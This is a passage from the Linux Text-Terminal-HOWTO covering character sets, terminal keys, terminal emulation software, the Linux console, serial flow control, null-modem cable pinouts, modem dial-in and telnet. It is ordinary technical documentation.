~ tilde         ess-zet       u-diaeresis  --------     diaeresis

ASCII            Italian     Spanish

@ at-sign        section     section
[ left-bracket   degree      inverted-exclamation
/ backslash      #-pound     N-tilde
] right-bracket  e-acute     inverted-question-mark
^ circumflex     -------     -------
` accent-grave   u-grave     -------
{ left-brace     a-grave     degree
| vertical-bar   o-grave     n-tilde
} right-brace    e-grave     --------
~ tilde          i-grave     --------

8.6 Fonts

Most terminals made after the mid 1980's can accept downloaded soft-font. This means that they can display almost any character set provided that you can find the soft-font for it. If you can't find the needed soft-font, you can always create your own. A free font editor for this is called BitFontEdit (written by the author of this document) and (in 1998) was at
Europe: http://www.funet.fi/pub/culture/russian/comp/cyril-term/
N. America: http://ibiblio.unc.edu/pub/Linux/utils/terminal/ For mapping the keyboard (and screen) for use of various fonts see Character Mapping: mapchan

8.7 Keyboards & Special Keys

Terminal keyboards often have a number of keys that one doesn't find on a PC keyboard. Few (if any) actual terminals will have all of these keys and most will have additional keys not listed here. Some have a large number of special purpose keys such as terminals made for use with cash registers. There are often many more key meanings than shown here since these keys often have extended meanings when used in conjunction with other keys (such as shift and control).

  • BREAK sends a very long 0 bit (space = +12 V) of duration 300 to 700 milliseconds to the host. The host may interpret this as an interrupt if stty has set brkint or ignore it if ignbrk is set.
  • NO SCROLL stops the screen from scrolling like ^S does. Depressing it again resumes scrolling. Uses flow control signals to do this.
  • REPEAT if held down with an other key, forces repeated output of that other key even if the auto-repeat option is set to off.
  • LINE FEED sends the line feed character ^J to the host. Seldom used.
  • SET-UP allows the manual configuration of the terminal via menus. Sometimes purposely disabled by putting a block under it so it can't be pressed down. Sometimes another key such as shift or control must be pressed at the same time. See Getting Into Set-Up (Configuration) Mode.
  • LOCAL disconnects the terminal from the host. In local, what one types goes directly to the screen. Useful for testing.
  • RETURN is the same as the "enter" key on a PC. It usually sends a carriage return to the host which normally get translated to a new-line character by the host's device driver. On some terminals it may be set up to send something else.
  • F1, F2, ... or PF1, PF2, ... are function keys which usually may be programmed to send out a sequence of bytes (characters). See Function Keys

8.8 Mouse

A few text-terminals support a mouse. When the mouse is clicked, an escape sequence is sent to the host to tell it where the mouse is. For a mouse on VT terminals see http://www.cs.utk.edu/~shuford/terminal/dec_vt_mouse.html These escape codes for mice are called "DEC Locator sequences". Do any linux applications support this ?? Which text-terminals have it ??


Text-Terminal-HOWTO: Terminal Emulation (including the Console)

 Next Previous Contents

9. Terminal Emulation (including the Console)

9.1 Intro to Terminal Emulation

Since a PC has a screen and keyboard (as does a terminal) but also has much more computing power, it's easy to use some of this computing power to make the PC computer behave like a text terminal. This is one type of terminal emulation. Another type of terminal emulation is where you set up a real terminal to emulate another brand/model of terminal. To do this you select the emulation you want (called "personality" in Wyse jargon) from the terminal's set-up menu. This section is about the first type of emulation: emulating a terminal on a PC.

Much emulation software is available for use under the MS Windows OS. See Make a non-Linux PC a terminal This can be used to connect a Windows PC to a Linux PC (as a Text-Terminal). Most Linux free software can only emulate a VT100, VT102, or VT100/ANSI. If you find out about any others, let me know. Since most PC's have color monitors while VT100 and VT102 were designed for a monochrome monitor, the emulation usually adds color capabilities (including a choice of colors). Sometimes the emulation is not 100% perfect but this usually causes few problems. For using a Mac computer to emulate a terminal see the mini-howto: Mac-Terminal.

9.2 Don't Use TERM Variable For Emulation

Some have erroneously thought that they could create an emulator at a Linux console (monitor) by setting the environment variable TERM to the type of terminal they would like to emulate. This does not work. The value of TERM only tells an application program what terminal you are using. This way it doesn't need to interactively ask you this question. If you're at a Linux PC monitor (command line interface) it's a terminal of type "Linux" and your can't change this. So you must set TERM to "Linux".

If you set it to something else you are fibbing to application programs. As a result they will incorrectly interpret certain escape sequences from the console resulting in a corrupted interface. Since the Linux console behaves almost like a vt100 terminal, it could still work almost OK if you falsely claimed it was a vt100 (or some other terminal which is something like a vt100). It may seeming work OK most of the time but once in a while will make a mistake when editing or the like.

9.3 Communication (Dialing) programs

Dialing programs for making a PPP connection to the Internet don't normally include any terminal emulation. But some other modem dialing programs (such as minicom or seyon) do. Using them one may (for example) dial up public libraries to use their catalogs and indexes, (or even read magazine articles). They are also useful for testing modems. Seyon is only for use with X Window and can emulate Tektronix 4014 terminals.

The communication program Kermit doesn't do terminal emulation as it is merely a semi-transparent pipe between whatever terminal you are on and the remote site you are connected to. Thus if you use kermit on a Linux PC the terminal type will be "Linux". If you have a Wyse60 connected to your PC and run kermit on that, you will appear as a Wyse60 to the remote computer (which may not be able to handle Wyse60 terminals). Minicom emulates a VT102 and if you use it on Wyse60 terminal the Wyse escape sequences will get translated to VT102 escape sequences before the data goes out to the modem. Kermit can't do this.

Emulators exist under DOS such as telix and procomm work just as well. The terminal emulated is often the old VT100, VT102, or ANSI (like VT100).

Emulation under X Window

Xterm (obsolete ??) may be run under X Window which can emulate a VT102, VT220, or Tektronix 4014. There is also an xterm emulation (although there is no physical terminal named "xterm"). If you don't need the Tektronix 4014 emulation (a vector graphics terminal; see Graphics Terminals) you may use eterm. Predecessors to eterm are rxvt and xvt. eterm supports pixmaps.

For non-Latin alphabets, kterm is for Kanji terminal emulation (or for other non-Latin alphabets) while xcin is for Chinese. There is also 9term emulation. This seems to be more than just an emulator as it has a built-in editor and scroll-bars. It was designed for Plan 9, a Unix-like operating system from AT&T.

Real terminals better

Unless you are using X Window with a large display, a real terminal is often nicer to use than emulating one. It usually costs less, has better resolution for text, and has no disk drives to make annoying noises.

9.4 Testing Terminal Emulation

For the VT series terminals there is a test program: vttest to help determine if a terminal behaves correctly like a vt53, vt100, vt102, vt220, vt320, vt420 etc. There is no documentation but it has menus and is easy to use. To compile it run the configure script and then type "make". It may be downloaded from: http://ibiblio.unc.edu/pub/Linux/utils/console/

9.5 The Linux Console

The console for a PC Linux system is normally the computer monitor in text mode. It emulates a terminal of type "Linux". There is no way (unless you want to spend weeks rewriting the kernel code) to get it to emulate anything else. Setting the TERM environment variable to type of terminal other than "Linux" will not result in emulating that other terminal. It will only result in a corrupted interface since you have falsely declared (via the TERM variable) that your "terminal" is of a type different from what it actually is. See Don't Use TERM For Emulation

In some cases, the console for a Linux PC is a text-terminal. One may recompile Linux to make a terminal receive most of the messages which normally go to the console. See Make a Serial Terminal the Console.

The "Linux" emulation of the monitor is flexible and has features which go well beyond those of the vt102 terminal which it was intended to emulate. These include the ability to use custom fonts and easily re-map the keyboard. These extra features reside in the console driver software (including the keyboard driver). The console driver only works for the monitor and will not work for a real terminal even if it's being used for the console. Thus the "console driver" is really a "monitor driver". In the early days of Linux one couldn't use a real terminal as the console so "monitor" and "console" were once always the same thing.

The stty commands work for the monitor-console just like it was a real terminal. They are handled by the same terminal driver that is used for real terminals. Bytes headed for the screen first go thru the terminal (tty) driver and then thru the console driver. For the monitor some of the stty commands don't do anything (such as setting the baud rate). You may set the monitor baud rate to any allowed value (such as a slow 300 speed) but the actual speed of putting text on the monitor screen will not actually change. The file /etc/ioctl.save stores stty settings for use only when the console is in single user mode (but you are normally in multiuser-user mode). This is explained (a little) in the init man page.

Many commands exist to utilize the added features provided by the console-monitor driver. Real terminals, which use neither scan codes nor VGA cards, unfortunately can't use these features. To find out more about the console see the Keyboard-and-Console-HOWTO. Also see the various man pages about the console (type "man -k console"). Unfortunately, much of this documentation is outdated.

9.6 Emulation Software

Emulators often don't work quite right so before purchasing software you should try to throughly check out what you will get.

Make a Linux PC a terminal

Unless you want to emulate the standard vt100 (or close to it). There doesn't seem to be much free terminal emulation software available for Linux. The free programs minicom and seyon (only for X Window) can emulate a vt100 (or close to it). Seyon can also emulate a Tektronix 4014 terminal.

The terminal emulator "Procomm" (which is from Dos), can be used on a Linux PC if you run dosemu to emulate Dos. For details see: http://solarflow.dyndns.org/pcplus/.

There's a specialized Linux distribution: Serial Terminal Linux. It will turn a PC to into a minicom-like terminal. It's small (fits on a floppy) and will not let you use the PC for any other purpose (when it's running). See http://members.wri.com/johnnyb/seriallinux/. It will let you have more than one session running (similar to virtual terminals), one for each serial port you have.

TERM (non-free from Century Software) http://www.ecc400.com/censoft/termunix.html can emulate Wyse60, 50; VT 220, 102, 100, 52: TV950, 925, 912; PCTERM; ANSI; IBM3101; ADM-1l; WANG 2110. Block mode is available for IBM and Wyse. It runs on a Linux PC.

Make a non-Linux PC a terminal

Emulators exist which run on non-Linux PCs. They permit you to use a non-Linux-PC as a terminal connected to a Linux-PC. Under DOS there is telix and procomm. Windows comes with "HyperTerminal" (formerly simply called "Terminal" in Windows 3.x and DOS). Competing with this is "HyperTerminal Private Edition" http://www.hilgraeve.com/htpe/index.html which is non-free to business. It can emulate vt-220. Turbosoft's TTWin can emulate over 80 different terminals under Windows. See http://www.ttwin.com/ or http://www.turbosoft.com.au/ (Australia). See also Reflection

For the Mac Computer there is emulation by Carnation Software http://www.carnationsoftware.com/carnation/HT.Carn.Home.html

One place to check terminal emulation products is Shuford's site, but it seems to lists old products (which may still work OK). The fact that most only run under DOS (and not Windows) indicates that this info is dated. See http://www.cs.utk.edu/~shuford/terminal/term_emulator_products.txt.


Text-Terminal-HOWTO: Flow Control (Handshaking)

 Next Previous Contents

10. Flow Control (Handshaking)

Flow control (= handshaking = pacing) is to prevent too fast of a flow of bytes from overrunning a terminal, computer, modem or other device. Overrunning is when a device can't process what it is receiving quickly enough and thus loses bytes and/or makes other serious errors. What flow control does is to halt the flow of bytes until the terminal (for example) is ready for some more bytes. Flow control sends its signal to halt the flow in a direction opposite to the flow of bytes it wants to stop. Flow control must both be set at the terminal and at the computer.

There are 2 types of flow control: hardware and software (Xon/Xoff or DC1/DC3). Hardware flow control uses dedicated signal wires such as RTS/CTS or DTR/DSR while software flow control signals by sending DC1 or DC3 control bytes in the normal data wires. For hardware flow control, the cable must be correctly wired.

The flow of data bytes in the cable between 2 serial ports is bi-directional so there are 2 different flows (and wires) to consider:

  1. Byte flow from the computer to the terminal
  2. Byte flow from the terminal keyboard to the computer.

10.1 Why Is Flow Control Needed ?

You might ask: "Why not send at a speed slow enough so that the device will not be overrun and then flow control is not needed?" This is possible but it's usually significantly slower than sending faster and using flow control. One reason for this is that one can't just set the serial port baud rate at any desired speed such as 14,500, since only a discrete number of choices are available. The best choice is to select a rate that is a little higher than the device can keep up with but then use flow control to make things work right.

If one decides to not use flow control, then the speed must be set low enough to cope with the worst case situation. For a terminal, this is when one sends escape sequences to it to do complex tasks that take more time than normal. In the case of a modem (with data compression but no flow control) the speed from the computer to the modem must be slow enough so that this same speed is usable on the phone line, since in the worst case the data is random and can't be compressed. If one failed to use flow control, the speed (with data compression turned on) would be no faster than without using any compression at all.

Buffers are of some help in handling worst case situations of short duration. The buffer stores bytes that come in too fast to be processed at once, and saves them for processing later.

10.2 Padding

Another way to handle a "worst case" situation (without using flow control or buffers) is to add a bunch of nulls (bytes of value zero) to escape sequences. Sometimes DEL's are used instead provided they have no other function. See Recognize Del.

The escape sequence starts the terminal doing something, and while the terminal is busy doing it, it receives a bunch of nulls which it ignores. When it gets the last null, it has completed its task and is ready for the next command. This is called null padding. These nulls formerly were called "fill characters". These nulls are added just to "waste" time, but it's not all wasted since the terminal is usually kept busy doing something else while the nulls are being received. It was much used in the past before flow control became popular. To be efficient, just the right amount of nulls should be added and figuring out this is tedious. It was often done by trial and error since terminal manuals are of little or no help. If flow control doesn't work right or is not implemented, padding is one solution. Some of the options to the stty command involve padding.

10.3 Overrunning a Serial Port

One might wonder how overrunning is possible at a serial port since both the sending and receiving serial ports involved in a transmission of data bytes are set for the same speed (in bits/sec) such as 19,200. The reason is that although the receiving serial port electronics can handle the incoming flow rate, the hardware/software that fetches and processes the bytes from the serial port sometimes can't cope with the high flow rate.

One cause of this is that the serial port's hardware buffer is quite small. Older serial ports had a hardware buffer size of only one byte (inside the UART chip). If that one received byte of data in the buffer is not removed (fetched) by CPU instructions before the next byte arrives, that byte is lost (the buffer is overrun). Newer UART's, namely most 16550's, have 16-byte buffers (but may be set to emulate a one-byte buffer) and are less likely to overrun. It may be set to issue an interrupt when the number of bytes in its buffer reaches 1, 4, 8, or 14 bytes. It's the job of another computer chip (usually the main CPU chip for a computer) to take these incoming bytes out of this small hardware buffer and process them (as well as perform other tasks).

When contents of this small hardware receive buffer reaches the specified limit (one byte for old UART'S) an interrupt is issued. Then the computer interrupts what it was doing and software checks to find out what happened. It finally determines that it needs to fetch a byte (or more) from the serial port's buffer. It takes these byte(s) and puts them into a larger buffer (also a serial port buffer) that the kernel maintains in main memory. For the transmit buffer, the serial hardware issues an interrupt when the buffer is empty (or nearly so) to tell the CPU to put some more bytes into it to send out.

Terminals also have serial ports and buffers similar to the computer. Since the flow rate of bytes to the terminal is usually much greater than the flow in the reverse direction from the keyboard to the host computer, it's the terminal that is most likely to suffer overrunning. Of course, if you're using a computer as a terminal (by emulation), then it is likewise subject to overrunning.

Risky situations where overrunning is more likely are: 1. When another process has disabled interrupts (for a computer). 2. When the serial port buffer in main (or terminal) memory is about to overflow.

10.4 Stop Sending

When its appears that the receiver is about to be overwhelmed by incoming bytes, it sends a signal to the sender to stop sending. That is flow control and the flow control signals are always sent in a direction opposite to the flow of data which they control (although not in the same channel or wire). This signal may either be a control character (^S = DC3 = Xoff) sent as an ordinary data byte on the data wire (in-band signalling), or a voltage transition from positive to negative in the dtr-to-cts (or other) signal wire (out-of-band signalling). Using Xoff is called "software flow control" and using the voltage transition in a dedicated signal wire (inside the cable) is called hardware flow control.

10.5 Keyboard Lock

With terminals, the most common case of "stop sending" is where the terminal can't keep up with the characters being sent to it and it issues a "stop" to the PC. Another case of this is where someone presses control-S. Much less common is the opposite case where the PC can't keep up with your typing speed and tells the terminal to stop sending. The terminal "locks" its keyboard and a message or light should inform you of this. Anything you type at a locked keyboard is ignored. When the PC catches up on it's work, then the keyboard should unlock. When it doesn't, there is likely some sort of deadlock going on.

Another type of keyboard lock happens when a certain escape sequence (or just the ^O control character for Wyse 60) is sent to the terminal. While the previous type of lock is done by the serial driver, this type of lock is done by the hardware of a real terminal. It's a catch-22 situation if this happens since you can't type any commands to escape out of this lock. Going into setup and resetting might work (but it failed on my Wyse 60 and I had to cycle power to escape). One could also send an "unlock keyboard" escape sequence from another terminal.

The term "locked" is also sometimes used for the common case of where the computer is told to stop sending to a terminal. The keyboard is not locked so that whatever you type goes to the computer. Since the computer can't send anything back to you, characters you type don't display on the screen and it may seem like the keyboard is locked. Scrolling is locked (scroll lock) but the keyboard is not locked.

10.6 Resume Sending

When the receiver has caught up with its processing and is ready to receive more data bytes it signals the sender. For software flow control this signal is the control character ^Q = DC1 = Xon which is sent on the regular data line. For hardware flow control the voltage in a signal line goes from negative (negated) to positive (asserted). If a terminal is told to resume sending the keyboard is then unlocked and ready to use.

10.7 Hardware Flow Control (RTS/CTS etc.)

Some older terminals have no hardware flow control while others used a wide assortment of different pins on the serial port for this. For a list of various pins and their names see Standard Null Modem Cable Pin-out. The most popular pin to use seems to be the DTR pin (or both the DTR pin and the DSR pin).

RTS/CTS, DTR, and DTR/DSR Flow Control

Linux PC's use RTS/CTS flow control, but DTR/DSR flow control (used by some terminals) behaves similarly. DTR flow control (in one direction only and also used by some terminals) is only the DTR part of DTR/DSR flow control.

RTS/CTS uses the pins RTS and CTS on the serial (EIA-232) connector. RTS means "Request To Send". When this pin stays asserted (positive voltage) at the receiver it means: keep sending data to me. If RTS is negated (voltage goes negative) it negates "Request To Send" which means: request not to send to me (stop sending). When the receiver is ready for more input, it asserts RTS requesting the other side to resume sending. For computers and terminals (both DTE type equipment) the RTS pin sends the flow control signal to the CTS pin (Clear To Send) on the other end of the cable. That is, the RTS pin on one end of the cable is connected to the CTS pin at the other end.

For a modem (DCE equipment) it's a different scheme since the modem's RTS pin receives the signal and its CTS pin sends. While this may seem confusing, there are valid historical reasons for this which are too involved to discuss here.

Terminals usually have either DTR or DTR/DSR flow control. DTR flow control is the same as DTR/DSR flow control but it's only one-way and the DSR pin is not used. For DTR/DSR flow control at a terminal, the DTR signal is like the signal sent from the RTS pin and the DSR pin is just like the CTS pin.

Connecting up DTR or DTR/DSR Flow Control

Some terminals use only DTR flow control. This is only one-way flow control to keep the terminal from being overrun. It doesn't protect the computer from someone typing too fast for the computer to handle it. In a standard null modem (crossover) cable the DTR pin at the terminal is connected to the DSR pin at the computer. But Linux doesn't support DTR/DSR flow control (although drivers for some multiport boards may support DTR/DSR flow control.) A way around this problem is to simply wire the DTR pin at the terminal to connect to the CTS pin at the computer and set RTS/CTS flow control (stty crtscts). The fact that it's only one way will not affect anything so long as the host doesn't get overwhelmed by your typing speed and drop RTS in a vain attempt to lock your keyboard. See Keyboard Lock. For DTR/DSR flow control (if your terminal supports this two-way flow control) you do the above. But you also connect the DSR pin at the terminal to the RTS pin at the computer. Then you are protected if you type too fast.

Old RTS/CTS handshaking is different

What is confusing is that there is the original use of RTS where it means about the opposite of the previous explanation above. This original meaning is: I Request To Send to you. This request was intended to be sent from a terminal (or computer) to a modem which, if it decided to grant the request, would send back an asserted CTS from its CTS pin to the CTS pin of the computer: You are Cleared To Send to me. Note that in contrast to the modern RTS/CTS bi-directional flow control, this only protects the flow in one direction: from the computer (or terminal) to the modem.

For older terminals, RTS may have this meaning and goes high when the terminal has data to send out. The above use is a form of flow control since if the modem wants the computer to stop sending it drops CTS (connected to CTS at the computer) and the computer stops sending.

Reverse Channel

Old hard-copy terminals may have a reverse channel pin (such as pin 19) which behaves like the RTS pin in RTS/CTS flow control. This pin but will also be negated if paper or ribbon runs out. It's often feasible to connect this pin to the CTS pin of the host computer. There may be a dip switch to set the polarity of this signal.

10.8 Is Hardware Flow Control Done by Hardware ?

Some think that hardware flow control is done by hardware but only a small part of it is done by hardware. Most of it is actually done by your operating system software. UART chips and associated hardware usually know nothing at all about hardware flow control. When a hardware flow control signal is received (due to the signal wire flipping polarity) the hardware gives an electrical interrupt signal to the CPU. However, the hardware has no idea what this interrupt means. The CPU stops what it was doing and jumps to a table in main memory that tells the CPU where to go to find a program which will find out what happened and determine what to do about it. In this case this program stops the outgoing flow of bytes.

But even before this program stops the flow, it was already stopped by the interrupt which interrupted the work of the CPU. This is one reason why hardware flow control stops the flow faster. It doesn't need to wait for a program to do it. But if that program didn't command that the flow be stopped, the flow would resume once that program exited. So the program is essential to stop the flow even though it is not the first to actually stop the flow. After the interrupt happens any bytes (up to 16) which were already in the serial port's hardware transmit buffer will still get transmitted. So even with hardware flow control the flow doesn't instantly stop.

Using software flow control requires that each incoming byte be checked to see if it's an "off" byte. These bytes are delayed by passing thru the 16-byte receive buffer. If the "off" byte was the first byte into this buffer, there could be a wait while 15 more bytes were received. Then the 16 bytes would get read and the "off" byte found. This extra delay doesn't happen with hardware flow control.

10.9 Obsolete ?? ETX/ACK or ENQ/ACK Flow Control

This is also software flow control and requires a device driver that knows about it. Bytes are sent in packets (via the async serial port) with each packet terminated by an ETX (End of Text) control character. When the terminal gets an ETX it waits till it is ready to receive the next packet and then returns an ACK (Acknowledge). When the computer gets the ACK, it then send the next packet. And so on. This is not supported by Linux ?? Some HP terminals use the same scheme but use ENQ instead of ETX.


Text-Terminal-HOWTO: Physical Connection

 Next Previous Contents

11. Physical Connection

11.1 Introduction

A terminal may be connected to its host computer either by a direct cable connection, via a modem, or via a terminal server. The flow of data may be either a direct sequence of bytes (such as from a serial port) or packets on a network (such as TCP/IP).

11.2 Multiport I/O Cards (Adapters)

Additional serial cards may be purchased which have many serial ports on them called "multiport boards". These boards are not covered in this HOWTO but there is a list of some of them (with URLs) in the Serial-HOWTO.

11.3 Direct Serial Cable Connection.

The simplest way to connect a terminal to a host computer is via a direct connection to a serial port on the computer. You may also use some the info in this section for connecting one computer to another (via the serial port). Most PC's come with a couple of serial ports, but one is usually used by a mouse. For the EIA-232 port, you need a null modem cable that crosses over the transmit and receive wires. In ethernet terminology it would be called a "crossover cable" (but the ethernet cable will not work for the serial port). If you want hardware flow control, you will probably use the DTR pin (or both the DTR and DSR pins).

Make sure you have the right kind of cable. A null modem cable bought at a computer store may do it (if it's long enough), but it probably will not work for hardware flow control. Such a cable may be labeled as a serial printer cable. Only larger computer stores are likely to stock such cables. A "modem cable" will not work since the wires go straight thru (and don't cross over). See Buy or Make your own cable. Make sure you are connecting to your PC's serial port at the male DB25 or the DB9, and not to your parallel port (female DB25).

Null Modem cable pin-out (3, 4, or 5 conductor)

These 3 diagrams are for real text-terminals. But you could use them to connect up 2 PCs if you substitute RTS for DTR and CTS for DSR. (Don't use 4-conductors for PC-to-PC). For terminals, if you only have DTR flow control (one-way) you may eliminate the RTS-to-DSR wire. If you have no hardware flow control, then you may also eliminate the CTS-to-DTR wire. Then if you have 2@ twisted pairs, you may then use 2 wires for signal ground per A Kludge using Twisted-Pair Cable. For a DB25 connector on your PC, you need:

  PC male DB25                          Terminal DB25
    TxD   Transmit Data       2 --> 3       RxD   Receive Data
    RxD   Receive Data        3 <-- 2       TxD   Transmit Data
    SG    Signal Ground       7 --- 7       SG    Signal Ground
    CTS   Clear To Send       5 <--20       DTR   Data Terminal Ready
    RTS   Request To Send     4 --> 6       DSR   Data Set Ready

If you have a DB9 connector on your PC, try the following:

        PC DB9                                 Terminal DB25
    RxD   Receive Data        2 <-- 2            TxD   Transmit Data
    TxD   Transmit Data       3 --> 3       RxD   Receive Data
    SG    Signal Ground       5 --- 7       SG    Signal Ground
    CTS   Clear To Send       8 <--20       DTR   Data Terminal Ready
    RTS   Request To Send     7 --> 6       DSR   Data Set Ready   **

If you have a DB9 connector on both your serial port and terminal:

        PC DB9                                 Terminal DB9
    RxD   Receive Data        2 <-- 3            TxD   Transmit Data
    TxD   Transmit Data       3 --> 2       RxD   Receive Data
    SG    Signal Ground       5 --- 5       SG    Signal Ground
    CTS   Clear To Send       8 <-- 4       DTR   Data Terminal Ready
    RTS   Request To Send     7 --> 6       DSR   Data Set Ready   **

The above don't have modem control lines so be sure to give a "local" option to getty (which is equivalent to "stty clocal"). Also if you need hardware flow control it must be enabled at your computer (use a -h flag with agetty) ( equivalent to "stty crtscts" ).

Standard Null Modem cable pin-out (7 conductor)

The following 3 diagrams show full "standard" null modem cables. One that you purchase may be wired this way. Another pinout is for 20 and 6 to cross over and to have 8 cross over to both 4 and 5. This will not provide hardware flow control (RTS/CTS) for directly connected computers. Both of the above will work for terminals using software (Xon/Xoff) flow control (or no flow control). None of these cables will work for terminal hardware flow control since most real terminals support DTR or DTR/DSR flow control (handshaking) but Linux doesn't yet (2000).

PC male DB25                            Terminal DB25
DSR   Data Set Ready        6
                            |
DCD   Carrier Detect        8 <-- 20    DTR   Data Terminal Ready
TxD   Transmit Data         2 --> 3     RxD   Receive Data
RxD   Receive Data          3 <-- 2     TxD   Transmit Data
RTS   Request To Send       4 --> 5     CTS   Clear To Send
CTS   Clear To Send         5 <-- 4     RTS   Request To Send
SG    Signal Ground         7 --- 7     SG    Signal Ground
DTR   Data Terminal Ready  20 --> 8     DCD   Carrier Detect
                                  |
                                  6     DSR   Data Set Ready
Alternatively, a full DB9-DB25 null modem cable (will not work with terminal hardware handshaking; see above):
PC DB9                                  Terminal DB25
RxD   Receive Data          2 <-- 2     TxD   Transmit Data
TxD   Transmit Data         3 --> 3     RxD   Receive Data
                                  6     DSR   Data Set Ready
                                  |
DTR   Data Terminal Ready   4 --> 8     DCD   Carrier Detect
SG    Signal Ground         5 --- 7     SG    Signal Ground
DCD   Carrier Detect        1
                            |
DSR   Data Set Ready        6 <-- 20    DTR   Data Terminal Ready
RTS   Request To Send       7 --> 5     CTS   Clear To Send
CTS   Clear To Send         8 <-- 4     RTS   Request To Send
(RI   Ring Indicator        9 (not needed)
(Yes, the pins 2 and 3 really do have opposite meanings for DB9 and DB25 connectors!)

Here's how to null-modem connect two DB9's together (but DTR flow control will not work):

PC DB9                                  DB9
RxD   Receive Data          2 <-- 3     TxD   Transmit Data
TxD   Transmit Data         3 --> 2     RxD   Receive Data
                                  6     DSR   Data Set Ready
                                  |
DTR   Data Terminal Ready   4 --> 1     DCD   Carrier Detect
GND   Signal Ground         5 --- 5     GND   Signal Ground
DCD   Carrier Detect        1
                            |
DSR   Data Set Ready        6 <-- 4     DTR   Data Terminal Ready
RTS   Request To Send       7 --> 8     CTS   Clear To Send
CTS   Clear To Send         8 <-- 7     RTS   Request To Send
RI   Ring Indicator         9 (not used)

Using the above 2 connections provide full modem control signals and seemingly allow one to set "stty -clocal". Then one must turn on the terminal first (asserts DTR) before the port may be opened in a normal manner by getty, etc. But there is likely to be trouble if you fail to turn on the terminal first (see Getty Respawning Too Rapidly). For this reason one should use "stty clocal" which is the default (ignores modem control lines) and the additional wires in these cables then serve no useful purpose.

In olden days when it may not have been this easy to ignore modem control signals etc, the following "trick" was done for cables that lacked conductors for modem control: on your computer side of the connector, connect RTS and CTS together, and also connect DSR, DCD and DTR together. This way, when the computer needs a certain handshaking signal to proceed, it will get it (falsely) from itself.

Overcoming length limitations

A cable longer than a 50 feet or so may not work properly at high speed. Much longer lengths sometimes work OK, especially if the speed is low and/or the cable is a special low-capacitance type and/or the electronics of the receiving end are extra sensitive. It is claimed that under ideal conditions at 9600 baud, 1000 feet works OK. One way to cover long distances is to install 2@ line drivers near each serial port so as to convert unbalanced to balanced (and conversely) and then use twisted pair cabling. But line drivers are expensive.

Another way to increase the distance is to try to cancel out much of the magnetic field created by the currents in the transmit and receive data wires: TxD and RxD. To do this, ground return lines, which have current which is roughly equal (but in the opposite direction) are placed next to the the transmit and received wires. Twisted pair has the best cancellation. Some DEC terminals have two signal ground wires for this purpose. For example, one pair would be TxD and SG(TxD) where SG is signal ground. If you use ribbon cable, insure that the TxD and SG(TxD) wires are right next to each other. Similarly for the RxD.

If there is only one signal ground wire provided by both the PC and the terminal, it may be split into two wires in a twisted pair cable for this purpose. You might think that return currents will be equally split between the two signal ground wires. This would cancel out only about half of the magnetic field. But it's better cancellation than this because return current prefers the path of least impedance. The return path of a data signal (such as TxD) has the lowest impedance (due to lower inductance) if it flows back in the same twisted pair. Although I've haven't seen any experimental test results for this method, it should allow longer cable lengths.

Hardware Flow Control cables

If you expect to use hardware flow control (handshaking) you will likely need to make up your own cable (or order one made). Of course, if the connecters on the ends of a used cable remove, you might rewire it. See Installing DB Connectors. You will need to determine whether or not the terminal uses the DTR pin for this, and if not, what pin (or pins) it uses. The set-up menus may give you a clue on this since there may be an option for enabling "DTR handshaking" (or flow control) which of course implies that it uses the DTR pin. It may also use the DSR pin. See Hardware Flow Control for a detailed explanation of it. Older terminals may have no provision for hardware flow control.

Cable tips

The normal "straight thru" cable will not work unless you are using it as an extension cable in conjunction with either a null modem (crossover) cable or a null modem adapter. Make sure that the connectors on the cable ends will mate with the connectors on the hardware. One may use telephone cable which is at least 4-conductor (and possibly twisted pair). Shielded, special low-capacitance cable computer cable is best.

A kludge using twisted-pair cable

See also Overcoming Length Limitations. Although none of the EIA-232 signals are balanced for twisted pair one may attempt to use twisted-pair cable with it. Use one pair for transmit and another for receive. To do this connect signal ground to one wire in each of these 2 pair. Only part of the signal ground current flows in the desired wire but it may help. Due to the lower inductance of the twisted pair circuit (as compared to ground return current by some other path) more return (ground) current will confine itself to the desired twisted pair than one would expect from only resistance calculations. This is especially true at higher frequencies since inductive impedance increases with frequency. The rectangular wave of the serial port contains high frequency harmonics.

Cable grounding

Pin 1 (of a DB25) should be chassis ground (also earth ground) but on cheap serial ports it may not even be connected to anything. A 9-pin connector doesn't even have a chassis ground. The signal ground is pin 7 and is usually grounded to chassis ground. This means that part of the signal current will flow thru the ground wires of the building wiring (undesirable). Cable shields are supposed to be only grounded at one end of the cable, but it may be better to ground both ends since it's better to have current in the shield than in the building wiring ??

11.4 Modem Connection

By using a terminal-modem combination (without a computer) one may dial out to other computers. Up to the mid 1990s in the US, there were many "bulletin boards" one could dial out to. Some even provided connections to the Internet. But bulletin boards lost out in favor of the Internet.

Dialing out from a terminal

Instead of connecting a terminal (or computer emulating a terminal) directly to a host computer using a cable it may be connected to the host via a telephone line (or dedicated private line) with a modem at each end of the line. The terminal (or computer) will usually dial out on a phone line to a host computer.

Most people use a PC and modem for dialing out. The PC could have a terminal connected to a serial port and the person at the terminal may dial out using the PC. Connecting a real terminal directly to an external modem is more difficult since the real terminal isn't very intelligent and doesn't give as much feedback to the user. For dialing out, many terminals can store one or more telephone numbers as messages which may be "set-up" into them and are sent out to the modem by pressing certain function keys. Many modems can also store phone numbers. The modem initiation sequence must precede the telephone number. When the outgoing call is answered by another modem at the other end of the phone line, the the host computer on this modem may run a getty program to enable you to log in.

Terminal gets dialed into

It's common for a computer running Linux to get dialed into. The caller gets a login prompt and logs in. At first glance, it may seem strange how a dumb terminal (not connected to any computer) could accept an incoming call, but it can. One possible reason for doing this is to save on phone bills where rates are not symmetric. Your terminal needs to be set up for dial-in: Set the modem at your terminal for automatic answer (Register S0 set to 2 will answer on the 2nd ring). You turn on the terminal and modem before you expect a call and when the call comes in you get a login prompt and log in.

The host computer that dials out to your terminal needs to do something quite unusual. As soon as your modem answers, it needs to run login (getty). A host may do this by running the Linux program "callback" sometimes named "cb". Callback is for having computer A call computer B, and then B hangs up and calls A back. This is what you want if you are using computer A to emulate a terminal. For the case of a real terminal this may be too complex a task so the host may utilize only the "back" part of the callback program. The setup file for callback must be properly configured at the host. Callback makes the call to the terminal and then has mgetty run a login on that port. Mgetty by itself (as of early 1998) is only for dial-in calls but there is work being done to incorporate callback features into it and thus make it able to dial-out. As of early 1999 it didn't seem to have been done.

11.5 Telnet

Telnet is a program which lets a text terminal (or a PC console) connect to a host computer over a network. No serial ports are used for the telnet connection. Of course if you are sitting at a real text terminal there is a serial connection to your own host. But when you run telnet, your host connects to another host via serial-less telnet.

Telnet uses tcp/ip packets over various networks: the Internet, LANs, etc. You run telnet (as a client) and it connects to a telnet server on another computer on a network. Then you get a login prompt and log in just as if you were directly connected via a cable to a serial port.

